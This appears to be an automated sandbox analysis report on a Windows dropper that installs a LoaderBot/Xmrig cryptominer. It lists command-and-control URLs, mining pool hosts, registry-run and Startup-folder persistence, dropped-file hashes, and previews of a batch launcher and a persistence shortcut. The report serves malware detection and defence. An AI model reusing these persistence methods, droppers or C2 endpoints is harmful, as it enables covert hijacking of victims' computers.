https://cv99160.tw1.ru/cmd.php?hwid=B81A4609	0%	Avira URL Cloud	safe
http://cv99160.tw1.rud	0%	Avira URL Cloud	safe
https://cv99160.tw	0%	Avira URL Cloud	safe
https://cv99160.tw1.ru/cmd.php?tim	0%	Avira URL Cloud	safe
https://xmrig.com/wizard%s	0%	Avira URL Cloud	safe
https://cv99160.tw1.ru/cmd.php?hwid=B8dv	0%	Avira URL Cloud	safe
https://cv99160.tw	0%	Virustotal		Browse
https://cv99160.tw1.ru	0%	Avira URL Cloud	safe
https://xmrig.com/docs/algorithms	0%	Avira URL Cloud	safe
https://cv99160.tw1.ru/cmd.php?hwid=B81A4609d	0%	Avira URL Cloud	safe
http://cv99160.tw1.ru	0%	Avira URL Cloud	safe
https://xmrig.com/wizard%s	0%	Virustotal		Browse
https://xmrig.com/wizard	0%	Avira URL Cloud	safe
https://cv99160.tw1.ru/cmd.php	2%	Virustotal		Browse
https://xmrig.com/docs/algorithms	2%	Virustotal		Browse
https://xmrig.com/wizard	1%	Virustotal		Browse
https://cv99160.tw1.ru	2%	Virustotal		Browse
http://cv99160.tw1.ru	2%	Virustotal		Browse
https://cv99160.tw1.ru/cmd.php	0%	Avira URL Cloud	safe
https://cv99160.tw1.ru/cmd.php?hwid=B8dJ	0%	Avira URL Cloud	safe
https://cv99160.tw1.ru/cmd.php1pool.supportxmr.com:3333	0%	Avira URL Cloud	safe
https://cv99160.tw1.ru/cmd.php?timeout=1d	0%	Avira URL Cloud	safe
https://cv99160.tw1.ru/cmd.php1pool.supportxmr.com:3333	2%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
pool-fr.supportxmr.com	141.94.96.144	true	true	4%, Virustotal, Browse	unknown
cv99160.tw1.ru	92.53.96.121	true	true	2%, Virustotal, Browse	unknown
pool.supportxmr.com	unknown	unknown	true	9%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://cv99160.tw1.ru/cmd.php?hwid=B81A4609	false	Avira URL Cloud: safe	unknown
https://cv99160.tw1.ru/cmd.php?timeout=1	false	Avira URL Cloud: safe	unknown
https://cv99160.tw1.ru/cmd.php	true	2%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://cv99160.tw1.ru/cmd.php?tim	yondex.exe, 0000000C.00000002.2001171944.0000000002A9C000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 0000000C.00000002.2001171944.0000000002A20000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000010.00000002.2089679818.00000000034E5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://cv99160.tw1.rud	yondex.exe, 00000004.00000002.1885179373.0000000003171000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000004.00000002.1885179373.0000000002FF4000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 0000000C.00000002.2001171944.0000000002A9C000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 0000000C.00000002.2001171944.0000000002A98000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000010.00000002.2089679818.000000000351B000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000010.00000002.2089679818.000000000335D000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000010.00000002.2089679818.00000000034E5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cv99160.tw	yondex.exe, 0000000C.00000002.2001171944.0000000002A9C000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 0000000C.00000002.2001171944.0000000002A20000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000010.00000002.2089679818.000000000351B000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000010.00000002.2089679818.00000000034E5000.00000004.00000800.00020000.00000000.sdmp	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://xmrig.com/wizard%s	Driver.exe, 00000005.00000002.1805223166.0000000140001000.00000040.00000001.01000000.0000000D.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://cv99160.tw1.ru/cmd.php?hwid=B8dv	yondex.exe, 00000010.00000002.2089679818.000000000351B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cv99160.tw1.ru	yondex.exe, 00000004.00000002.1885179373.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000004.00000002.1885179373.0000000003171000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000004.00000002.1885179373.0000000002FF4000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 0000000C.00000002.2001171944.0000000002711000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 0000000C.00000002.2001171944.00000000027B1000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 0000000C.00000002.2001171944.0000000002A9C000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000010.00000002.2089679818.0000000003357000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000010.00000002.2089679818.0000000003061000.00000004.00000800.00020000.00000000.sdmp	true	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://xmrig.com/docs/algorithms	Driver.exe, 00000005.00000002.1805223166.0000000140001000.00000040.00000001.01000000.0000000D.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://cv99160.tw1.ru	yondex.exe, 00000004.00000002.1885179373.0000000003171000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000004.00000002.1885179373.0000000002FF4000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 0000000C.00000002.2001171944.0000000002A9C000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 0000000C.00000002.2001171944.0000000002A98000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000010.00000002.2089679818.000000000351B000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000010.00000002.2089679818.000000000335D000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000010.00000002.2089679818.00000000034E5000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://cv99160.tw1.ru/cmd.php?hwid=B81A4609d	yondex.exe, 00000004.00000002.1885179373.0000000003171000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000004.00000002.1885179373.0000000002FF4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://xmrig.com/wizard	Driver.exe, 00000005.00000002.1805223166.0000000140001000.00000040.00000001.01000000.0000000D.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	yondex.exe, 00000004.00000002.1885179373.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 0000000C.00000002.2001171944.0000000002711000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000010.00000002.2089679818.0000000003061000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cv99160.tw1.ru/cmd.php?hwid=B8dJ	yondex.exe, 0000000C.00000002.2001171944.0000000002A9C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cv99160.tw1.ru/cmd.php?timeout=1d	yondex.exe, 00000004.00000002.1885179373.0000000003171000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000010.00000002.2089679818.0000000003357000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cv99160.tw1.ru/cmd.php1pool.supportxmr.com:3333	rolex.exe, 00000003.00000003.1726307942.000001FEAC072000.00000004.00000020.00020000.00000000.sdmp, yondex.exe, 00000004.00000000.1730928897.0000000000692000.00000002.00000001.01000000.0000000B.sdmp, yondex.exe.3.dr	true	2%, Virustotal, Browse Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
141.94.96.195	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	true
92.53.96.121	cv99160.tw1.ru	Russian Federation	9123	TIMEWEB-ASRU	true
141.94.96.71	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	true
141.94.96.144	pool-fr.supportxmr.com	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1461232
Start date and time:	2024-06-23 11:30:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	31
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	h2UFp4aCRq.exe renamed because original name is a hash value
Original Sample Name:	1fecbc51b5620e578c48a12ebeb19bc2.exe
Detection:	MAL
Classification:	mal100.troj.expl.evad.mine.winEXE@43/6@2/4
EGA Information:	Successful, ratio: 83.3%
HCA Information:	Successful, ratio: 84% Number of executed functions: 140 Number of non-executed functions: 111
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
05:31:02	API Interceptor	1x Sleep call for process: h2UFp4aCRq.exe modified
05:31:11	API Interceptor	10540x Sleep call for process: yondex.exe modified
10:31:06	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Driver C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe
10:31:16	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Driver C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe
10:31:27	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Driver.url

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
141.94.96.195	http://pool.supportxmr.com	Get hash	malicious	Unknown	Browse	pool.supportxmr.com/favicon.ico
92.53.96.121	http://ct31152.tw1.ru/	Get hash	malicious	Unknown	Browse	ct31152.tw1.ru/data/logo.svg
	http://cb00287.tw1.ru/	Get hash	malicious	Unknown	Browse	cb00287.tw1.ru/data/logo.svg
	http://cv59800.tw1.ru/	Get hash	malicious	Unknown	Browse	cv59800.tw1.ru/data/logo.svg
141.94.96.71	http://pool.supportxmr.com	Get hash	malicious	Unknown	Browse
	http://pool.supportxmr.com	Get hash	malicious	Unknown	Browse
	01904399.dat.exe	Get hash	malicious	LoaderBot, Xmrig	Browse
	file.exe	Get hash	malicious	Xmrig	Browse
	file.exe	Get hash	malicious	Xmrig	Browse
	KMSPicoSetup.exe	Get hash	malicious	Xmrig	Browse
	target.ps1	Get hash	malicious	Xmrig	Browse
	file.exe	Get hash	malicious	LoaderBot, Xmrig	Browse
	file.exe	Get hash	malicious	RHADAMANTHYS, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	PrivateLoader, RHADAMANTHYS, Xmrig	Browse
141.94.96.144	curriculum_vitae-copie.vbs	Get hash	malicious	Xmrig	Browse
	curriculum_vitae-copie_(1).vbs	Get hash	malicious	Xmrig	Browse
	curriculum_vitae-copie.vbs	Get hash	malicious	Xmrig	Browse
	Vsob3IooE7.exe	Get hash	malicious	Xmrig	Browse
	GameBar.exe	Get hash	malicious	Xmrig	Browse
	FTrondtloadws.exe	Get hash	malicious	Xmrig	Browse
	file.exe	Get hash	malicious	Xmrig	Browse
	GoogleUpdate.exe	Get hash	malicious	Xmrig	Browse
	d.py	Get hash	malicious	PwnRig Miner	Browse
	PYnsVrS3EX.exe	Get hash	malicious	Xmrig	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
pool-fr.supportxmr.com	setup.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, PureLog Stealer, RedLine	Browse	141.94.96.71
	SecuriteInfo.com.Win32.Evo-gen.18867.15916.exe	Get hash	malicious	Xmrig	Browse	141.94.96.71
	http://pool.supportxmr.com	Get hash	malicious	Unknown	Browse	141.94.96.71
	http://pool.supportxmr.com	Get hash	malicious	Unknown	Browse	141.94.96.195
	file.exe	Get hash	malicious	LoaderBot, Xmrig	Browse	141.94.96.195
	setup.EXE.exe	Get hash	malicious	Xmrig	Browse	141.94.96.195
	updater.exe	Get hash	malicious	Xmrig	Browse	141.94.96.71
	iHcQJBquIc.exe	Get hash	malicious	Xmrig	Browse	141.94.96.195
	01904399.dat.exe	Get hash	malicious	LoaderBot, Xmrig	Browse	141.94.96.195
	Vsob3IooE7.exe	Get hash	malicious	Xmrig	Browse	141.94.96.144

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	arm7-20240623-0650.elf	Get hash	malicious	Mirai	Browse	141.27.32.118
	BKCtdl2mim.exe	Get hash	malicious	Remcos	Browse	141.95.84.40
	https://houkht.za.com/	Get hash	malicious	Unknown	Browse	141.95.85.198
	SecuriteInfo.com.Win32.Evo-gen.18867.15916.exe	Get hash	malicious	Xmrig	Browse	141.94.96.195
	https://www.mediafire.com/file/jvu61qs0cfxx045/LNK+Exploit+MONSTERMC.zip/file	Get hash	malicious	Unknown	Browse	141.95.171.142
	CB8drrx7FQ.elf	Get hash	malicious	Mirai, Moobot	Browse	134.96.172.206
	http://tinyurI.com/bn229tan	Get hash	malicious	Unknown	Browse	141.95.33.120
	3RzVV7rQr8.elf	Get hash	malicious	Mirai	Browse	137.252.83.120
	6vokwEQb7K.elf	Get hash	malicious	Mirai	Browse	141.76.203.186
	https://riprogramma.consegna.3-76-125-238.cprapid.com/dpd/update.php	Get hash	malicious	Unknown	Browse	141.95.171.140
DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	arm7-20240623-0650.elf	Get hash	malicious	Mirai	Browse	141.27.32.118
	BKCtdl2mim.exe	Get hash	malicious	Remcos	Browse	141.95.84.40
	https://houkht.za.com/	Get hash	malicious	Unknown	Browse	141.95.85.198
	SecuriteInfo.com.Win32.Evo-gen.18867.15916.exe	Get hash	malicious	Xmrig	Browse	141.94.96.195
	https://www.mediafire.com/file/jvu61qs0cfxx045/LNK+Exploit+MONSTERMC.zip/file	Get hash	malicious	Unknown	Browse	141.95.171.142
	CB8drrx7FQ.elf	Get hash	malicious	Mirai, Moobot	Browse	134.96.172.206
	http://tinyurI.com/bn229tan	Get hash	malicious	Unknown	Browse	141.95.33.120
	3RzVV7rQr8.elf	Get hash	malicious	Mirai	Browse	137.252.83.120
	6vokwEQb7K.elf	Get hash	malicious	Mirai	Browse	141.76.203.186
	https://riprogramma.consegna.3-76-125-238.cprapid.com/dpd/update.php	Get hash	malicious	Unknown	Browse	141.95.171.140
DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	arm7-20240623-0650.elf	Get hash	malicious	Mirai	Browse	141.27.32.118
	BKCtdl2mim.exe	Get hash	malicious	Remcos	Browse	141.95.84.40
	https://houkht.za.com/	Get hash	malicious	Unknown	Browse	141.95.85.198
	SecuriteInfo.com.Win32.Evo-gen.18867.15916.exe	Get hash	malicious	Xmrig	Browse	141.94.96.195
	https://www.mediafire.com/file/jvu61qs0cfxx045/LNK+Exploit+MONSTERMC.zip/file	Get hash	malicious	Unknown	Browse	141.95.171.142
	CB8drrx7FQ.elf	Get hash	malicious	Mirai, Moobot	Browse	134.96.172.206
	http://tinyurI.com/bn229tan	Get hash	malicious	Unknown	Browse	141.95.33.120
	3RzVV7rQr8.elf	Get hash	malicious	Mirai	Browse	137.252.83.120
	6vokwEQb7K.elf	Get hash	malicious	Mirai	Browse	141.76.203.186
	https://riprogramma.consegna.3-76-125-238.cprapid.com/dpd/update.php	Get hash	malicious	Unknown	Browse	141.95.171.140
TIMEWEB-ASRU	bFZYRLnRIz.exe	Get hash	malicious	LummaC, DCRat, LummaC Stealer	Browse	92.53.96.121
	http://ct31152.tw1.ru/	Get hash	malicious	Unknown	Browse	92.53.96.121
	http://cb00287.tw1.ru/	Get hash	malicious	Unknown	Browse	92.53.96.121
	http://cv59800.tw1.ru/	Get hash	malicious	Unknown	Browse	92.53.96.121
	e64Gs23hN2.exe	Get hash	malicious	DCRat	Browse	92.53.96.121
	https://e-obmen24.com/	Get hash	malicious	Unknown	Browse	92.53.96.128
	R2KymBQ7YS.exe	Get hash	malicious	DCRat	Browse	92.53.96.121
	https://cs13786.tw1.ru/	Get hash	malicious	Unknown	Browse	92.53.96.121
	http://cf20871.tw1.ru/	Get hash	malicious	Unknown	Browse	185.114.247.232
	ebalcao_odqz.vbs	Get hash	malicious	Unknown	Browse	92.53.116.138

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Stand.Launchpad.exe	Get hash	malicious	Unknown	Browse	92.53.96.121
	Stand.Launchpad.exe	Get hash	malicious	Unknown	Browse	92.53.96.121
	bFZYRLnRIz.exe	Get hash	malicious	LummaC, DCRat, LummaC Stealer	Browse	92.53.96.121
	SecuriteInfo.com.Win64.TrojanX-gen.14485.639.exe	Get hash	malicious	Unknown	Browse	92.53.96.121
	SecuriteInfo.com.Win64.TrojanX-gen.14485.639.exe	Get hash	malicious	Unknown	Browse	92.53.96.121
	https://didianeensing-fft-oshehun.pages.dev/help/contact/897378126380120	Get hash	malicious	Unknown	Browse	92.53.96.121
	https://eugeniewun72-englichs302.pages.dev/help/contact/337110003119106	Get hash	malicious	Unknown	Browse	92.53.96.121
	https://sahilsendre.github.io/NETFLIX_CLONE_HTML_CSS_ONLY	Get hash	malicious	Unknown	Browse	92.53.96.121
	https://higorgoltara.github.io/dio-instagram/index	Get hash	malicious	Unknown	Browse	92.53.96.121
	https://amazon-us.kcloudx.workers.dev/ref=cs_503_link	Get hash	malicious	Unknown	Browse	92.53.96.121

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	file.exe	Get hash	malicious	LoaderBot, Xmrig	Browse
	W1nnerFree CS2.exe	Get hash	malicious	LoaderBot, Xmrig	Browse
	KRZyX0PPRm.exe	Get hash	malicious	Xmrig	Browse
	lO188m2RAu.exe	Get hash	malicious	LoaderBot, Xmrig	Browse
	file.exe	Get hash	malicious	LoaderBot, Xmrig	Browse
	01904399.dat.exe	Get hash	malicious	LoaderBot, Xmrig	Browse
	Vsob3IooE7.exe	Get hash	malicious	Xmrig	Browse
	ruZVRNvu0Y.exe	Get hash	malicious	LoaderBot, Xmrig	Browse
	file.exe	Get hash	malicious	LoaderBot, Xmrig	Browse
	WvWlWr2HC0.exe	Get hash	malicious	LoaderBot, RedLine, SmokeLoader, Vidar, Xmrig, zgRAT	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\RarSFX0\1.bat

Download File

Process:	C:\Users\user\Desktop\h2UFp4aCRq.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	36
Entropy (8bit):	4.194385682587763
Encrypted:	false
SSDEEP:	3:mKDDFRK9NyVXMMH:hBVc2
MD5:	CE32EEA7C273547D3FB75F8E4191E25A
SHA1:	07D0EDD1F64C799B01DA4E670126B4B2C5091DDE
SHA-256:	940D3C2D3A6665D5017C0BF64120A71B2CE61106AE015399282AE8F4656CB91F
SHA-512:	56DA0BE9E79B98FB276A6D5A26B2FE06035D46E299FC6E6CB4E04BB396D119204881518E93F2184A68AA34FF024F81281F131FF0F98CF39541CF857C96DA95D4
Malicious:	false
Preview:	@echo off..start rolex.exe -priverdD

C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe

Download File

Process:	C:\Users\user\Desktop\h2UFp4aCRq.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4605877
Entropy (8bit):	7.962365224089739
Encrypted:	false
SSDEEP:	98304:ZqwfM8jZlts7Dnfg+u5NIg1GbnBH9Ltl4NFA0kA8X1KpWQMt:Zqw0v7DnZu5NnobnDtl4TjZ8X1/QK
MD5:	8866D677A3309A0AD903F37557C5941B
SHA1:	2B03D0C6CB74DEFEDFC31154C57B073C889EA11A
SHA-256:	ECBCCACD00CDF38870BEA7D203909DA1EA2261477125FF7E0BDCEF5F3FC4D17D
SHA-512:	15535E08A5E224941610C90F0BA3921BB3A1911380889D393AEDBC2E4806910171C81005CDA27D23466292DAEC606ABCB94D0FBF546430D70EA21DE15CFE406E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8% Antivirus: Virustotal, Detection: 14%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......$.2.`.\.`.\.`.\..y..h.\..y....\..y..m.\.....b.\...X.r.\..._.j.\...Y.Y.\.i..i.\.i..b.\.i..g.\.`.].C.\..Y.R.\..\.a.\...a.\..^.a.\.Rich`.\.........PE..d...#.@f.........."....!.h...j.................@..........................................`.............................................4......P...............l0..............p....6..T....................7..(......@....................... ....................text...ng.......h.................. ..`.rdata...(.......*...l..............@..@.data...\...........................@....pdata..l0.......2..................@..@.didat..`...........................@..._RDATA..\...........................@..@.rsrc...............................@..@.reloc..p...........................@..B........................................................................................................................................

C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4157440
Entropy (8bit):	5.213682809026485
Encrypted:	false
SSDEEP:	49152:GBNDFFPJu8fBsVE6ij+RNg+UKpBvtqB3m1RC3:GnzP88fBsnZTgOtqB3m1RC3
MD5:	BD2413C32E34D0031F7881D51AE731FF
SHA1:	8771733C460F22ADC0E1865F0B3F2AC19E9C1001
SHA-256:	277E5A809506398685FE20BA674B7F3F75B2E04A34C2B150A84088B266138894
SHA-512:	612C8B9F86308B13342CEF00B9166084BF36F44ADDD139A0123F84CF9711FB2F03E15E4A0B3D95A6DEAAFB60BCA1CC1436514B2B96F4AAF18B094534C94974CF
Malicious:	true
Yara Hits:	Rule: JoeSecurity_LoaderBot, Description: Yara detected LoaderBot, Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe, Author: Joe Security Rule: MALWARE_Win_CoinMiner04, Description: Detects coinmining malware, Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Virustotal, Detection: 67%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....uf..............0..f?.........z.?.. ....?...@.. ........................?...........`.................................(.?.O.....?.......................?.......?.............................................. ............... ..H............text....d?.. ...f?................. ..`.rsrc.........?......h?.............@..@.reloc........?......n?.............@..B................\.?.....H........4...............R...0?..........................................0..8........s.......s........o....o......o....(....&....,..o..............%,.......0..L..........(......(....o......t&...r...po......o....o....s....o .......&........+..........>?.......0...........~....r...p(....(!...(......,...%..\|.o"......i.+............8................,...%..;.o".........r...po#...-.r...p+.r...p..................+...%....%.r...p.%....%.r...p.%....($.......&......X.....X......i?p..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Driver.url

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<file:///C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	175
Entropy (8bit):	5.100464637183347
Encrypted:	false
SSDEEP:	3:HRAbABGQYm5uOt+kiEaKC5SQnPB4L4NIJ4ovstwWDt+kiE2J5xAIkP2dL4ckiWXU:HRYFVmwOwknaZ5lI4NIJlvstwWDwkn2L
MD5:	09937BA2D25D3D6420DCB7C6EBF54A22
SHA1:	3F5E1975D708B9140F7FD3463AAF72F8E3600D4F
SHA-256:	7F9E2451C312E908F14A00A674EC4A7E35E22B75E5E890A4C4979951DAC99E31
SHA-512:	A188AEDB80A2C6E5DEF6B7A654714380535AD18DB6DCDABA5C9F0498C725778A5B46867BCD430DDD32DCAFE64580D196F893028BE478F83705FB10C3C37E51FF
Malicious:	true
Preview:	[InternetShortcut]..URL=file:///C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe..IconIndex=0..IconFile=C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe\backup (3).ico..

C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe
File Type:	MS-DOS executable PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4141064
Entropy (8bit):	5.210440836800201
Encrypted:	false
SSDEEP:	49152:SNDFFPJu8fBsVE6ij+RNg+UKpBvtqB3m1RC3Z:wzP88fBsnZTgOtqB3m1RC3Z
MD5:	02569A7A91A71133D4A1023BF32AA6F4
SHA1:	0F16BCB3F3F085D3D3BE912195558E9F9680D574
SHA-256:	8D6ABBA9B216172CFC64B8802DB0D20A1C634C96E1049F451EDDBA2363966BF0
SHA-512:	534BE1FE93EE556A14CFD8FAD5377F57FB056AB4CD2BCA14E4F376F4A25D3D4D270917D68A90B3C40D8A8DAAEBA6F592FA095ECFF478332BA23405D1DF728322
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 61% Antivirus: Virustotal, Detection: 68%, Browse
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: W1nnerFree CS2.exe, Detection: malicious, Browse Filename: KRZyX0PPRm.exe, Detection: malicious, Browse Filename: lO188m2RAu.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 01904399.dat.exe, Detection: malicious, Browse Filename: Vsob3IooE7.exe, Detection: malicious, Browse Filename: ruZVRNvu0Y.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: WvWlWr2HC0.exe, Detection: malicious, Browse
Preview:	MZ@.....................................!..L.!Win64 .EXE...$@...PE..d......^.........."...........k.....N2.........@.............................P........?... ..................................................0..P....@..../...W.......>..:...........................................................0...............................MPRESS1. ...............................MPRESS2.....0...........................rsrc...../..@..../.................@..............................................................v2.19..L...H...(.@.......H.......H.....`..f.@....H....O..H..(..0...&......*.....4%. 0.h. <...W..3.3.A...(.....1(.....0 ...0@.......`..N..Q.......w.....3.H...]K..X.ev.u. [.? L._.k\...........G..q\....Q..@. ......_0...+.........!.8..X0.W....t.".I.%. .. .............~.....~....S.~Cp.W:~..................O.A ...p\........L..`..O..........3.i.e...lA..A.....H...I;..\|.....O=.p....-..........3..K/.. ~.@.Q0G.."...Q......)..(..".!......@..P.)...%O.H.1......X0......G.X.XP....^Q..5\|^2.E

C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4157440
Entropy (8bit):	5.213682809026485
Encrypted:	false
SSDEEP:	49152:GBNDFFPJu8fBsVE6ij+RNg+UKpBvtqB3m1RC3:GnzP88fBsnZTgOtqB3m1RC3
MD5:	BD2413C32E34D0031F7881D51AE731FF
SHA1:	8771733C460F22ADC0E1865F0B3F2AC19E9C1001
SHA-256:	277E5A809506398685FE20BA674B7F3F75B2E04A34C2B150A84088B266138894
SHA-512:	612C8B9F86308B13342CEF00B9166084BF36F44ADDD139A0123F84CF9711FB2F03E15E4A0B3D95A6DEAAFB60BCA1CC1436514B2B96F4AAF18B094534C94974CF
Malicious:	true
Antivirus:	Antivirus: Virustotal, Detection: 67%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....uf..............0..f?.........z.?.. ....?...@.. ........................?...........`.................................(.?.O.....?.......................?.......?.............................................. ............... ..H............text....d?.. ...f?................. ..`.rsrc.........?......h?.............@..@.reloc........?......n?.............@..B................\.?.....H........4...............R...0?..........................................0..8........s.......s........o....o......o....(....&....,..o..............%,.......0..L..........(......(....o......t&...r...po......o....o....s....o .......&........+..........>?.......0...........~....r...p(....(!...(......,...%..\|.o"......i.+............8................,...%..;.o".........r...po#...-.r...p+.r...p..................+...%....%.r...p.%....%.r...p.%....($.......&......X.....X......i?p..

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.892544397980614
